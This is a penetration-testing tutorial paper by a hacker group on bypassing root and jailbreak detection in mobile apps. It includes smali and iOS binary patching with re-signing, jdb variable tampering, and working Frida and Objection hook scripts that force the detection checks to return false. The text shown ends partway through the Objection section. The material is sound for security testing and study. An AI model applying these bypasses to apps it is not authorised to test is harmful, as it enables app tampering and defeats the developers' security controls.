|=--------------------------------------------------------------------=|
|=------------=[ Mobile Application Hacking Diary Ep.2]=--------------=|
|=------------------------=[ 18 February 2018 ]=----------------------=|
|=----------------------=[ By CWH Underground ]=--------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Mobile Application Hacking Diary Ep.2
Author : ZeQ3uL and diF
Team : CWH Underground
Date : 2018-02-18
##########
Contents
##########
[0x00] - Introduction
[0x01] - The Watcher
[0x01a] - Patch'em All
[0x01b] - Break then Go
[0x01c] - Hook on the fly
[0x01d] - No root can gain
[0x02] - Roof & Tunnel
[0x02a] - You shall(not) pass
[0x02b] - You shall(not) see
[0x03] - Special Thx
#######################
[0x00] - Introduction
#######################
_________________
/ __ \
| (__) |
| | We gonna hack this !!, Oh just kidding...
| .-----. .--. |
| | | / \ |
| '-----' \ / |
| | | |
| LI LI LI | | |
| LI LI LI | | |Oo
| LI LI LI | | |`Oo
| LI LI LI | | | Oo
| | | | Oo
| .------. / \ | oO
| | | \ / | Oo
| '------' '-oO | oO
| .---Oo | Oo
| || ||`Oo oO
| |'--'| | OoO
| '----' |
\_________________/
Nowadays, the mobile apps are getting stronger, they armed with more controls and multiple defense mechanisms. The rise of security libraries/guidelines/standard make the apps (looks) more secure. Hence, us, as a tester, cannot simply do the testing only with the traditional techniques e.g. that we published on previous paper (https://www.exploit-db.com/papers/26620/) anymore (cuz hackers won't too).
This paper is the narrative and the explanation of our penetration testing techniques from the real world as a case study of mobile applications. Each chapter contains various techniques to bypass the implemented security features on the application (e.g. Root detection, SSL Pinning, End-to-end encryption) that may guide you for an idea to conduct pentest a mobile application.
"This is not going to go the way you think." - Luke Skywalker
Let's Begin! :))
######################
[0x01] - The Watcher
######################
Root detection become a basic protection which can disallow attacker to access application storage, process and memory, and sensitive information. Without root detection, attacker can use various tools to bypass SSL pinning, modify the encrypted traffic over TLS, subvert business logic or even increase game gems without purchasing on a game application.
There are many automated tools (e.g. Root Cloak Plus, tsprotector) which can bypass root detection.
Q: What if dev know these tools and implement the detection ?
A: We need to manually analyze the detection mechanism to bypass without using these tools.
Therefore, this chapter will show you how to bypass root detection in various techniques instead of using automated tools.
++++++++++++++++++++++++
[0x01a] - Patch'em All
++++++++++++++++++++++++
The first technique we would like to introduce is patching the binary using disassembling, modifying the binary and re-packaging the app in order to modify the app behavior permanently. This chapter will be divided into 2 platforms which are iOS and Android.
+++++++++++
+ Android +
+++++++++++
In order to understand the root detection logic, we need to decompile the app from application package (APK) then analyze its logic in Java languages. There are many tools that can do this task (e.g. Jadx, dex2jar-jdgui) but we propose Bytecode Viewer (https://github.com/Konloch/bytecode-viewer). It contains many decompilers (Krakatau, FernFlower, Procyon and CFR) which will show us the completed Java source code matching with original source code.
We noticed some method with named "checkRoot()" which declared on MainActivity class as shown below:
-----------------MainActivity.class--------------
...
RootWine rootWine;
public void checkRoot()
{
this.rootWine = new RootWine(this);
if (this.rootWine.isRooted()) {
//Pop-up toast message then app will not continue
}
for (;;) {
return;
//App will continue
}
}
...
-------------------------------------------------
Once the targeted method was identified, we could use apktool to disassemble the app package into smali files.
-------------------------------------------------
zeq3ul@home:~/Desktop$ java -jar apktool.jar d vulnapp.apk
I: Using Apktool 2.3.1 on vulnapp.apk
I: Loading resource table...
...
I: Copying original files...
-------------------------------------------------
MainActivity.smali was accessed for analyzing by specifying targeted method which is "checkRoot()". The snippet of smali code is shown below:
------------------MainActivity.smali-------------
# virtual methods
.method public checkRoot()V
...
invoke-virtual {v0}, Lcom/johny/rootwine/RootWine;->isRooted()Z
move-result v0
if-eqz v0, :cond_0
//Pop-up toast message then app will not continue
:cond_0
//App will continue
.end method
-------------------------------------------------
As you can see, the checkRoot() method uses library called "RootWine" which uses isRooted() to check whether the app is running on root device or not. Then, the result will be checked on "if-eqz" instruction in the condition below:
- If the return value(v0) from isRooted() method is "1", app will skip to "cond_0" location which will lead app to continue working
- If the return value(v0) from isRooted() method is "0", app will not continue
We could modify the app logic by adding "if-nez v0, :cond_0". The app will be forced to "cond_0" location whether the app is running on root device or not. The approaches for re-packging and signing the app are shown as the following:
- Using apktool to build new app
- Signing the app using "Apk Sign" (https://github.com/appium/sign) which can automatically sign an apk with the Android test certificate that embed public and private keys within jar.
-------------------------------------------------
zeq3ul@home:~/Desktop$ java -jar apktool.jar b vulnapp
I: Using Apktool 2.3.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
...
I: Building apk file...
I: Copying unknown files/dir...
zeq3ul@home:~/Desktop$ cd vulnapp/dist/
zeq3ul@home:~/Desktop/vulnapp/dist/$ java -jar sign.jar vulnapp.apk
zeq3ul@home:~/Desktop/vulnapp/dist/$ adb install vulnapp.s.apk
-------------------------------------------------
We could use this app package(vulnapp.s.apk) on any root device to conduct further attack !!
+++++++++++
+ iOS +
+++++++++++
By default, apps distributed via the app store are protected from reverse engineering via code encryption. The way to obtain the decrypted code is dumping it from memory while the app is running which can be done using Clutch2 or dumpdecrypted (http://cydia.radare.org/debs/) on jail-broken device. The dumpdecrypted result is shown below:
-------------------------------------------------
root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/VulnApp.app/VulnApp
mach-o decryption dumper
DISCLAIMER:This tool is only meant for security research purposes, not for application crackers.
[+] Found encrypted data at address 00002000 of length 1826816 bytes - type 1.
[+] Opening /private/var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/VulnApp.app/VulnApp for reading.
[+] Reading header
[+] Detecting header type
[+] Executable is a FAT image - searching for right architecture
[+] Correct arch is at offset 2408224 in the file
[+] Opening VulnApp.decrypted for writing.
[-] Failed opening. Most probably a sandbox issue. Trying something different.
[+] Opening /private/var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/tmp/VulnApp.decrypted for writing.
[+] Copying the not encrypted start of the file
[+] Dumping the decrypted data into the file
[+] Copying the not encrypted remainder of the file
[+] Closing original file
[+] Closing dump file
-------------------------------------------------
Once the app had been decrypted, Static analysis tools (e.g. classdump, Hopper) were used to analyze application logic. We used classdump for extracting all of the runtime information stored in the binary in order to identify class/method name that might be used for Jailbreak detection as shown below:
-------------------------------------------------
root# ./class-dump /var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/tmp/VulnApp.decrypted
...
@interface JailSpot : UIViewController
{
}
- (_Bool)isJailbroken;
- (void)didReceiveMemoryWarning;
- (void)viewDidLoad;
- (id)initWithNibName:(id)arg1 bundle:(id)arg2;
@end
...
-------------------------------------------------
From the result, we could notice "isJailbroken" method, which belonged to "JailSpot" class, had a boolean type. This would be the class/method that used to check jailbreaking status referred to name. Therefore, we could analyze further by using reverse-engineering tool such as Hopper to determine application logic.
The tool of choice was Hoppers. It can disassemble fat mach-o binary, do the patching and generate a new executable for us. First we open the executable then nagivated to the target method we found from classdump then used the CFG mode to analyze the control flow graph (Hopper also has an option to generate pseudo-code for the method. But for this specific case, we found that it was easier to analyze from CFG view). From the graph view, the flow shown that the method check for common files/directories that normally found on a jailbroken device then it checked whether or not the file could be written under /private/ (which required root priv to do so). After all the long list of checks it arrived at the following blocks before return.
| orr w8, w22, w25 |
| orr w8, w8, w26 |
| cmp w8, #0x0 |
| b.eq loc_100009294 |
\-------------------------------------------------/
t f
| \--------------\
/-------------------------/ |
| |
/---------------------------------------------------\ /-------------------------\
| loc_10009294: | | movz w0, #0x0 |
| orr w0, wzr, #0x1 ; CODE XREF=sub100007940+6444| | b loc_10009298 |
\---------------------------------------------------/ \-------------------------/
| |
\------------------\ /-------------------/
| |
/---------------------------------------------------------------\
| loc_10009298: |
| ldp x29, x30, [sp, #0x120] ; CODE XREF=sub_100007940+6452|
| ldp x20, x19, [sp, #0x110] |
| ldp x22, x21, [sp, #0x100] |
| ldp x24, x23, [sp, #0xf0] |
| ldp x26, x25, [sp, #0xe0] |
| ldp x28, x27, [sp, #0xd0] |
| add sp, sp, #0x130 |
| ret |
\---------------------------------------------------------------/
This means the method simply return true (0x01) if any checks failed and return false (0x00) if all checks are passed. So we can try to patch the logic here to bypass the validations and allow us to run application on a jailbroken device.
To begin we need to identify the location to patch. Obviously, the block at the location loc_100009294 seems to be the interesting one as it generate the return value of true. As we identified the location that we could try to patch, we began the patch using Hopper with the option "Modify -> Assemble Instruction...". The option can generate a new instruction and replace the current instruction for us and what we did was:
/-------------------------\ /--------------------\
| orr w0, wzr, #0x1 |----->| movz w0, #0x0 |
\-------------------------/ \--------------------/
After successfully patched the binary, we generated new binary (the new one will only be an aarch64 mach-o) with option "File -> Produce New Executable..." then choose to replace current binary of the application. Finally, we installed the application using IPA Installer and found that we could successfully run the application on a jail-broken device. Great!
+++++++++++++++++++++++++
[0x01b] - Break then Go
+++++++++++++++++++++++++
Another technique which can be done on runtime is debugging. This chapter will show you the approach for debugging the app on Android app. In order to debug the Android app, "android:debuggable="true"" must be set on AndroidManifest.xml within Android package (apk) so we need to disassemble the app using apktool, add the debuggable flag into AndroidManifest.xml then re-package and sign the app.
-------------------------------------------------
zeq3ul@home:~/Desktop$ java -jar apktool.jar d vulnapp.apk
I: Using Apktool 2.3.1 on vulnapp.apk
I: Loading resource table...
...
I: Copying original files...
zeq3ul@home:~/Desktop$ cd vulnapp/
zeq3ul@home:~/Desktop/vulnapp$ vim AndroidManifest.xml
... // Adding android:debuggable="true" under <application> tag
zeq3ul@home:~/Desktop$ cd ..
zeq3ul@home:~/Desktop$ java -jar apktool.jar b vulnapp
I: Using Apktool 2.3.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
...
I: Building apk file...
I: Copying unknown files/dir...
zeq3ul@home:~/Desktop$ cd vulnapp/dist/
zeq3ul@home:~/Desktop/vulnapp/dist/$ java -jar sign.jar vulnapp.apk
zeq3ul@home:~/Desktop/vulnapp/dist/$ adb install vulnapp.s.apk
-------------------------------------------------
With debugging mode features, we were able to can inject our own code to execute it in the context of the vulnerable app process. The recommended tools are AndBug (https://github.com/swdunlop/AndBug) and Java Debugger (jdb). The AndBug is a wrapper around JDWP which allow us to identify/trace the class and method, then we can use jdb to set the breakpoint on specific class/method in order to analyze and modify app process.
-------------------------------------------------
zeq3ul@home:~/Desktop$ adb shell ps -x | grep -i "vulnapp"
u0_a66 1859 57 224432 29428 ffffffff b6ecc5cc S com.example.vulnapp (u:1381, s:277)
zeq3ul@home:~/Desktop$ andbug shell -p 1859
## AndBug (C) 2011 Scott W. Dunlop <swdunlop@gmail.com>
>> classes com.example.vulnapp
## Loaded Classes
-- com.example.vulnapp.LibraryProvider
-- com.example.vulnapp.Extend_Main
-- com.example.vulnapp.Extend_Main$1
-- com.example.vulnapp.MainActivity
>> ct com.example.vulnapp.MainActivity
## Setting Hooks
-- Hooked com.example.vulnapp.MainActivity
>> ## trace thread <1> main (running suspended)
-- com.example.vulnapp.MainActivity.checkRoot()V:0
-- this=Lcom/example/vulnapp/MainActivity; <831928579104>
...
-------------------------------------------------
As the result, AndBug was able to hook into app process, identify loaded clasess using "classes" command on current activity and trace method on specified class using "ct" command. The app had been opened then "com.example.vulnapp.MainActivity.checkRoot()" was identified to check root status. Java decompiler was used to decompile the app in order to identify app logic in Java language; the isRooted() method came from RootWine library which belonged to "com.johny.rootwine" package.
-----------------MainActivity.class--------------
...
RootWine rootWine;
public void checkRoot()
{
this.rootWine = new RootWine(this);
if (this.rootWine.isRooted()) {
//Pop-up toast message then app will not continue
}
for (;;) {
return;
//App will continue
}
}
...
-------------------------------------------------
Hence, we could also specify library package on AndBug to ensure which class and method will be used for checking root status.
-------------------------------------------------
zeq3ul@home:~/Desktop$ andbug shell -p 1859
## AndBug (C) 2011 Scott W. Dunlop <swdunlop@gmail.com>
>> classes com.johny.rootwine
## Loaded Classes
-- com.johny.rootwine.util.QLog
-- com.johny.rootwine.Const
-- com.johny.rootwine.RootWine
>> ct com.johny.rootwine.RootWine
## Setting Hooks
-- Hooked com.johny.rootwine.RootWine
>> ## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.<init>(Landroid/content/Context;)V:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
...
## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.isRooted()Z:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
...
## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.detectRootManagementApps()Z:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
...
## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.isAnyPackageFromListInstalled(Ljava/util/List;)Z:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
-- packages=Ljava/util/ArrayList; <831930576248>
...
## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.detectPotentiallyDangerousApps()Z:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
...
## trace thread <1> main (running suspended)
-- com.johny.rootwine.RootWine.checkForBinary(Ljava/lang/String;)Z:0
-- this=Lcom/johny/rootwine/RootWine; <831930596104>
-- filename=su
...
-------------------------------------------------
From the result, "com.johny.rootwine.RootWine" class was traced and identified that isRooted(), which was used to check root status, was the first method. We could analyze further by accessing "com.johny.rootwine.RootWine" class through decompiler.
-----------------RootWine.class------------------
...
public boolean isRooted()
{
if ((detectRootManagementApps()) || (detectPotentiallyDangerousApps()) || (checkForBinary("su")) || (checkForBinary("busybox")) || (checkForDangerousProps()) || (checkForRWPaths()) || (detectTestKeys()) || (checkSuExists()) || (checkForRootNative())) {}
for (boolean bool = true;; bool = false) {
return bool;
}
}
...
-------------------------------------------------
Combining between AndBug and Java Decompiler let us know which class/method we should hook into. The next step we used jdb by starting with forwarding app process number to specific tcp port then we could use jdb to attach into app process for set breakpoint on specific method.
-------------------------------------------------
zeq3ul@home:~/Desktop$ adb forward tcp:1337 jdwp:1859
zeq3ul@home:~/Desktop$ jdb -attach localhost:1337
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in com.johny.rootwine.RootWine.isRooted
Set breakpoint com.johny.rootwine.RootWine.isRooted
>
Breakpoint hit: "thread=<1> main", com.johny.rootwine.RootWine.isRooted(), line=43 bci=0
<1> main[1] step
Step completed: <1> main[1] "thread=<1> main", com.johny.rootwine.RootWine.detectRootManagementApps(), line=76 bci=0
<1> main[1] step
Step completed: "thread=<1> main", com.johny.rootwine.RootWine.detectRootManagementApps(), line=87 bci=0
<1> main[1]
...
<1> main[1] step
Step completed: "thread=<1> main", com.johny.rootwine.RootWine.checkForBinary(), line=170 bci=0
<1> main[1] locals
Method arguments:
f = instance of java.io.File(id=831931279824)
Local variables:
filename = "su"
pathsArray = instance of java.lang.String[11] (id=831930532976)
result = false
path = "/system/xbin/"
completePath = "/system/xbin/su"
fileExists = true
<1> main[1]
-------------------------------------------------
While debugging the app, we could view local variables using "locals" command and also modify the variable on-the-fly. In this case, checkForBinary() method checked file existing then returned fileExists flag to "true". We could bypass the file checking by changing fileExists flag value to "false" then resume the app process.
-------------------------------------------------
<1> main[1] set fileExists=false
fileExists=false = false
<1> main[1] locals
Method arguments:
f = instance of java.io.File(id=831931279824)
Local variables:
filename = "su"
pathsArray = instance of java.lang.String[11] (id=831930532976)
result = false
path = "/system/xbin/"
completePath = "/system/xbin/su"
fileExists = false
<1> main[1] resume
-------------------------------------------------
The root detection was bypassed which led us to conduct further attack. As you can see, there are more than 9 methods for checking root status on isRoot(). Therefore, the more checking, the more debugging times. Next chapter, we will introduce a Dynamic Binary Instrumentation method using Frida which allow us to easily bypass app logic including root detection.
Please be noted that debugging and dynamic binary instrumentation will not permanently affect to app due to manipulating at runtime which is different from patching binary that will modify app permanently.
+++++++++++++++++++++++++++
[0x01c] - Hook on the fly
+++++++++++++++++++++++++++
Frida, which is a dynamic binary instrumentation toolkit which can inspect, analyze the behavior of a binary application at runtime through the injection of instrumentation code, supports multiplatforms including Windows, Linux, Mac, iOS, Android, QNX.
Frida also has tracing feature that can be used to identify which method will be used while the app is running instead of guessing on class/method name from static analysis part. Also, we may use frida-tracing to identify used class/method then conduct static analysis to patch the application permanently. This chapter will be divided into 2 platforms which are iOS and Android.
+++++++++++
+ Android +
+++++++++++
There is an awesome frida script (https://github.com/0xdea/frida-scripts/blob/master/raptor_frida_android_trace.js) written by Marco Ivaldi which can use to trace arbitrary Java Methods and Module functions by just specifying application package name or regular expression through the script !!
In this case, the app package (com.example.vulnapp) and suspicious library package (com.johny.rootwine) were specified in frida tracing script "raptor_frida_android_trace.js" as shown below:
----------raptor_frida_android_trace.js----------
...
// usage examples
setTimeout(function() { // avoid java.lang.ClassNotFoundException
Java.perform(function() {
trace("com.example.vulnapp");
trace("com.johny.rootwine");
});
}, 0);
-------------------------------------------------
Due to the root detection mechanism, the root detection library would be loaded immediately once the app had been opened; therefore, "-f" flag was used to spawn new process for tracing the app at initial process as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida -U -f com.example.vulnapp -l raptor_frida_android_trace.js --no-pause
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Spawned `com.example.vulnapp`. Resuming main thread!
[Android Emulator 5554::com.example.vulnapp]-> Tracing com.example.vulnapp.LibraryProvider.onCreate [1 overload(s)]
Tracing com.example.vulnapp.MainActivity.onCreate [1 overload(s)]
Tracing com.example.vulnapp.MainActivity.init [1 overload(s)]
...
Tracing com.johny.rootwine.RootWine.isRooted [1 overload(s)]
Tracing com.johny.rootwine.RootWine.detectRootManagementApps [2 overload(s)]
...
*** entered com.example.vulnapp.MainActivity.checkRoot
*** entered com.johny.rootwine.RootWine.isRooted
*** entered com.johny.rootwine.RootWine.detectRootManagementApps
*** entered com.johny.rootwine.RootWine.detectRootManagementApps
arg[0]: null
*** entered com.johny.rootwine.RootWine.checkForBinary
arg[0]: su
retval: true
*** exiting com.johny.rootwine.RootWine.checkForBinary
retval: true
...
-------------------------------------------------
The frida tracing script identified every loaded classes/methods including arguments and return value within specified application packages aligning with app activities. As the result, we could confirm that "com.johny.rootwine" package was used to detect root status on application; therefore, we could conduct static analysis further on this package.
Let's analyze the RootWine.class on "com.johny.rootwine" package, isRooted() method will be used to detect root status as shown on code snippet below:
-----------------RootWine.class------------------
...
public boolean isRooted()
{
if ((detectRootManagementApps()) || (detectPotentiallyDangerousApps()) || (checkForBinary("su")) || (checkForBinary("busybox")) || (checkForDangerousProps()) || (checkForRWPaths()) || (detectTestKeys()) || (checkSuExists()) || (checkForRootNative())) {}
for (boolean bool = true;; bool = false) {
return bool;
}
}
...
-------------------------------------------------
From code analysis, all checking on isRooted() method will return as boolean value (True/False). Hence, we could create Frida script using python binding to override isRooted() method to return "false" value as shown below:
-----------------Frida_RootWine.py---------------
#!/usr/bin/python
import frida, sys
def on_message(message, data):
if message['type'] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)
jscode = """
Java.perform(function () {
var MainActivity = Java.use('com.johny.rootwine.RootWine');
MainActivity.isRooted.implementation = function () {
send('Method hooked...Modifying return value');
return false;
};
});
"""
process = frida.get_usb_device().attach('com.example.vulnapp')
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
print "[*] Bypassing RootWine Detection"
sys.stdin.read()
-------------------------------------------------
After that we could connect our laptop and device through USB debugging mode for frida script execution. Once the isRooted() method had been called, the frida would intercept and override the method by modifying the return value to be "false"
/---------------\
| Frida Hooking |
/-----------------------------| isRooted() |
| (3) | return false |
| \---------------/
| ^
| |
| (2)|
V |
/-----------------------\ /--------------------\
| com.example.vulnapp | (1) | com.johny.rootwine |
| MainActivity.class | -------->| RootWine.class |
| checkRoot() | | isRooted() |
\-----------------------/ \--------------------/
Then, frida script(Frida_RootWine.py) had been executed to handle incoming hooked method then the root detection would be bypassed as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ python Frida_RootWine.py
[*] Bypassing RootWine Detection
[*] Method hooked...Modifying return value
-------------------------------------------------
Frida also has community called "Frida CodeShare" (https://codeshare.frida.re) which is comprised of developers from around the world to contribute their frida scripts (e.g. Bypass Root detection, Bypass SSL pinning). There is an awesome project "fridantiroot" (https://codeshare.frida.re/@dzonerzy/fridantiroot/) on Android platform which can detect various root checking such as root packages, binary, property and so on in order to bypass root detection. The codeshare project can be used through "--codeshare" flag and "-f" flag would also be used to spawn new process for tracing the app at initial process as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida --codeshare dzonerzy/fridantiroot -U -f com.example.vulnapp
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Hello! This is the first time you're running this particular snippet, or the snippet's source code has changed.
Project Name: fridantiroot
Author: @dzonerzy
Slug: dzonerzy/fridantiroot
Fingerprint: b5c9e7754d9432d6bb96fdec7aa53e458c6c4ee522209c4f2f8ecbe2b2a60955
URL: https://codeshare.frida.re/@dzonerzy/fridantiroot
Are you sure you'd like to trust this project? [y/N] y
Adding fingerprint b5c9e7754d9432d6bb96fdec7aa53e458c6c4ee522209c4f2f8ecbe2b2a60955 to the trust store! You won't be prompted again unless the code changes.
Spawned `com.example.vulnapp`. Use %resume to let the main thread start executing!
[Android Emulator 5554::com.example.vulnapp]-> %resume
[Android Emulator 5554::com.example.vulnapp]-> message: {u'type': u'send', u'payload': u'Loaded 3824 classes!'} data: None
message: {u'type': u'send', u'payload': u'loaded: -1'} data: None
message: {u'type': u'send', u'payload': u'ProcessManager hook not loaded'} data: None
message: {u'type': u'send', u'payload': u'KeyInfo hook not loaded'} data: None
[Android Emulator 5554::com.example.vulnapp]-> message: {u'type': u'send', u'payload': u'Bypass root check for package: com.noshufou.android.su'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: com.noshufou.android.su.elite'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: eu.chainfire.supersu'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: com.koushikdutta.superuser'} data: None
...
message: {u'type': u'send', u'payload': u'Bypass native fopen'} data: None
-------------------------------------------------
+++++++++++
+ iOS +
+++++++++++
In order to properly create Frida script, we need to identify loaded classes and methods. Hence, we could use Frida tracing feature (frida-trace) to identify the loaded classes/methods by specifying "-m" flag to trace specified Objective-C classes/methods. In this case, we specified "JailSpot" classname and also used "*" on any method type/method name, "-f" flag was also used to spawn new process for tracing the app at initial process as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida-trace -m "*[JailSpot *]" -U -f com.example.vulnapp
Instrumenting functions...
-[JailSpot isJailbroken]: Auto-generated handler at "/home/zeq3ul/Desktop/__handlers__/__JailSpot_isJailbroken_.js"
-[JailSpot didReceiveMemoryWarning]: Auto-generated handler at "/home/zeq3ul/Desktop/__handlers__/__JailSpot_didReceiv_0298561d.js"
-[JailSpot initWithNibName:bundle:]: Auto-generated handler at "/home/zeq3ul/Desktop/__handlers__/__JailSpot_initWithN_-433f25e.js"
-[JailSpot viewDidLoad]: Auto-generated handler at "/home/zeq3ul/Desktop/__handlers__/__JailSpot_viewDidLoad_.js"
Started tracing 4 functions. Press Ctrl+C to stop.
/* TID 0x907 */
2550 ms -[JailSpot isJailbroken]
-------------------------------------------------
As the result, we would know that jailbreak detection only use isJailbroken method to check whether the app is running on jail-broken device or not. The classdump result, which already mentioned on Chapter [0x01a], would be used to determine type of method.
-----------------classdump.txt-------------------
...
@interface JailSpot : UIViewController
{
}
- (_Bool)isJailbroken;
- (void)didReceiveMemoryWarning;
- (void)viewDidLoad;
- (id)initWithNibName:(id)arg1 bundle:(id)arg2;
@end
...
-------------------------------------------------
The isJailbroken method type was boolean which will return "true" when the app running on jail-broken device, "false" on non-rooted device. We now have all the information to create Frida script (js) in order to manipulate jailbreak detection logic on the app at the runtime.
---------------Bypass_Jailspot.js----------------
if (ObjC.available) {
try {
var className = "JailSpot";
var funcName = "- isJailbroken";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
Interceptor.attach(hook.implementation, {
onLeave: function(retval) {
console.log("[*] Method hooked...Modifying return value");
newretval = ptr("0x0")
retval.replace(newretval) } }); }
catch(err) { console.log("[!] Exception: " + err.message); } }
else { console.log("Objective-C Runtime is not available!"); }
-------------------------------------------------
Once the isJailbroken method had been called, the frida would intercept and override the method by modifying the return value to be "false". Then, frida script(Bypass_Jailspot.js) had been executed to handle incoming hooked method then the jailbreak detection would be bypassed.
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida -U -f com.example.vulnapp -l Bypass_Jailspot.js
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
[iOS Device::Vulnapp]-> [*] Method hooked...Modifying return value
-------------------------------------------------
++++++++++++++++++++++++++++
[0x01d] - No root can gain
++++++++++++++++++++++++++++
Basically, Rooted/jail-broken device is needed to do DBI due to frida architecture. What if we could use frida on non-rooted/non-jailbroken device ? Yes, we can and that mean we will not care about root/jailbreak detection anymore because we can conduct Dynamic/Runtime analysis without rooting/jailbreaking. W00T W00T !!
This can be done through patching application by inserting frida library into the binary then re-packaging the app. We can do it automatically using "Objection" (https://github.com/sensepost/objection) which is a runtime mobile exploration toolkit, powered by Frida and support both iOS and Android platforms. Objection also have many features to access filesystem, class/method, keychain, dump memory, built-in scripts without the need for a jailbroken or rooted mobile device.
+++++++++++
+ Android +
+++++++++++
The application package (APK) must be patched and code signed to load the `frida-gadget.so` on start. This can be done automatically using a "patchapk" subcommand that will determine the target architecture of your device using `adb`, extract the source APK, insert the INTERNET permission if it does not already exist, patch and embed the `frida-gadget.so` and repackage and sign a new APK for you.
-------------------------------------------------
zeq3ul@home:~/Desktop$ objection patchapk --source vulnapp.apk
No architecture specified. Determining it using `adb`...
Detected the architecture as: armeabi-v7a
Using Gadget version: 10.3.14
Unpacking vulnapp.apk
App already has android.permission.INTERNET
Reading smali from: /tmp/tmpbwqu1jyf.apktemp/smali/com/example/vulnapp/MainActivity.smali
Injecting loadLibrary call at line: 18
Writing patched smali back to: /tmp/tmpbwqu1jyf.apktemp/smali/com/example/vulnapp/MainActivity.smali
Creating library path: /tmp/tmpbwqu1jyf.apktemp/lib/armeabi-v7a
Copying Frida gadget to libs path...
Rebuilding the APK with the frida-gadget loaded...
Built new APK with injected loadLibrary and frida-gadget
Signing new APK.
Signed the new APK
Copying final apk from /tmp/tmpbwqu1jyf.apktemp.objection.apk to current directory...
Cleaning up temp files...
-------------------------------------------------
Once an Android APK has been patched to embed the Frida gadget, application can be started and then the app will be in a paused state until we connect objection using "objection -g explore" command.
-------------------------------------------------
zeq3ul@home:~/Desktop$ objection -g explore
_ _ _ _
___| |_ |_|___ ___| |_|_|___ ___
| . | . | | | -_| _| _| | . | |
|___|___|_| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.2.2
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.vulnapp on (samsung: 7.0) [usb] # ls
Type Last Modified Read Write Hidden Size Name
--------- ----------------------- ------ ------- -------- ------- ------------
Directory 2017-12-06 11:07:04 GMT True False False 4.0 KiB lib
Directory 2017-12-04 23:34:15 GMT True True False 4.0 KiB cache
Directory 2017-12-06 12:13:43 GMT True True False 4.0 KiB shared_prefs
Directory 2017-12-06 12:12:52 GMT True True False 4.0 KiB files
Directory 2017-12-06 12:13:36 GMT True True False 4.0 KiB databases
Readable: Yes Writable: Yes
-------------------------------------------------
From the example result, we could access the application folder through Objection non-rooted device. Any frida commands or custom scripts are also available by just using frida command connect to the device instead of using Objection.
+++++++++++
+ iOS +
+++++++++++
The application package (IPA) must be patched and code signed to load the "FridaGadget.dylib" on start. To patch an IPA though, a few things need to be done in preparation, such as getting an "embedded.mobileprovision" file, as well as a code signing certificate from Apple. Once you have these, objection has a "patchipa" subcommand that will help you take care of the rest (https://github.com/sensepost/objection/wiki/Patching-iOS-Applications).
-------------------------------------------------
zeq3ul-MacBook:Desktop zeq3ul$ objection patchipa --source "vulnapp.ipa" --codesign-signature 0B197F2xxx
Using Gadget version: 10.5.15
No provision file specified, searching for one...
Found provision file /Users/zeq3ul/Library/Developer/Xcode/DerivedData/vulnapp-dhjuudmztjpbrdgvszdkdtbawert/Build/Products/Debug-iphoneos/vulnapp.app/embedded.mobileprovision expiring in 6 days, 16:55:00.630254
Found a valid provisioning profile
Working with app: Vulnapp.app
Bundle identifier is: com.example.vulnapp
Creating Frameworks directory for FridaGadget...
Codesigning 1 .dylib's with signature 0B197F2xxx
Code signing: FridaGadget.dylib
Creating new archive with patched contents...
Codesigning patched IPA...
Cannot find entitlements in binary. Using defaults
Copying final ipa from /var/folders/q8/vdq51bkj251_yhm86gmbmtgc0000gn/T/vulnapp-frida-codesigned.ipa to current directory...
Cleaning up temp files...
-------------------------------------------------
Once you have a patched IPA ready,the ios-deploy can be used to install and run the patched application on non-jailbroken devices using "ios-deploy --bundle Payload/vulnapp.app -d" then the app can be started in a paused state until we connect objection using "objection -g explore" command (https://github.com/sensepost/objection/wiki/Running-Patched-iOS-Applications). There is a trick to specify "-m" flag to ios-deploy after first installation in case we don't want to re-install the app. This can help us to conduct dynamic analysis on insecure data storage when the app is unintentionally closed.
-------------------------------------------------
zeq3ul-MacBook:Desktop zeq3ul$ ios-deploy --bundle Payload/Vulnapp.app/ -m
